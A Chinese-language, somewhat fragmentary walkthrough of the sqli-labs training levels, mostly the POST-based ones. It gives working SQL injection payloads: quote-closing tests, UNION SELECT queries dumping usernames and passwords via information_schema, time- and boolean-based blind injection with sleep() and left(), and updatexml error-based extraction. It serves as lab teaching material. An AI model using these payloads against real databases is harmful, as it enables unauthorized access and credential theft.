sqli-labs通关攻略教程二(less 01-less-10)
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。admin
,查看响应结果,我们发现用户名和密码在url中均看不见,说明为post请求进行传输。burp
抓包进行分析,更加确定为post
请求。hackbar
中post
请求的内容,查看页面响应的结果与第二步的响应结果相同。admin
,在其后面添加一个单引号并查看响应结果。返回结果显示单引号处存在sql语法错误,证明存在sql注入漏洞,说明闭合方式为单引号。uname
,再次执行,查看响应结果依然报错or 1=1#
,返回结果显示执行成功admin
,查看结果同样响应执行正确--+
,因为--+
主要使用在url
中,而在此处#是适用的order by
查询字段数,得到字段数为2union select 1,2
来确定回显的位置union select 1,2 database()#
来查询数据库为security
select group_concat(schema_name) from information_schema.schemata; //查库 select group_concat(table_name) from information_schema.tables where table_schema='security' //查表 select group_concat(column_name) from information_schema.columns where table_name='users'; //查列 select group_concat(username) from security.users; //查字段 select group_concat(password) from security.users; select group_concat(concat ws(0x7e,username,password)) from security.users //0x7e表示~的十六进制
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。")
,第十关的闭合方式为'
。' ') ')) " ") "))
判断闭合方式可以通过手工注入测试,也可以通过使用burp
抓包进行暴力破解。
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。 ')
,但我们并未发现其他的回显语句。select
查询语句也无法获得相关的回显在命令行中if left
等函数前需要添加select,但在做题中直接添加在or
语句后面即可
select if(length(database()>1),1,sleep(5)) //正确情况下返回1,否则延迟五秒返回0 //判断数据库长度 select left(database(),1) //left(a,b)从左侧截取a的前b位,正确返回1,错误则返回0。 或者 or left((select schema_name from information_schema.schemata limit 0,1),1)>'a' //判断数据库的第一个字母是否大于字符a 或者同时使用burp对字符a到z进行暴力破解 使用select语句查询表、列、字段
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。 "
,其余步骤与第十三关的思路相同。phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。admin
和密码admin
,查看页面响应结果没有回显。'
,其余思路与十三、十四关的盲注思路相同。phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。")
,其余思路与十三、十四、十五关的盲注思路相同。十三关:') 十四关:" 十五关:' 十六关:")
第一个参数:XML_doucument
是string
格式,为XML
文档对象的名称,如doc
第二个参数:XPath_string
(XPath
格式的字符串)
第三个参数:new_value
,string
格式,替换查找到的符合条件的数据
作用:1. 改变文档中符合条件的节点的值
2. 改变XML_document
中符合XPath_string
的值
注入语句:
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1)
其中concat()函数是将其连成一个字符串,因此不会符合XPath_string
的格式,从而出现格式错误,爆出
ERROR 1105(HY000):XPATH syntax error:'~Dumb~'
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在密码下面也应当输入这两行代码echo $updata; echo "<br>";
,将密码进行回显。uname
闭合,查看回显结果,字符被转义,则考虑对passwd
进行尝试select updatexml(1,concat(0x7e,(构造语句)),1) //构造语句可用前面的查库、查表、查列、查字段的语句
使用查库等语句时后面应该添加limit a,b
,即为取从第a
个开始的b
个内容。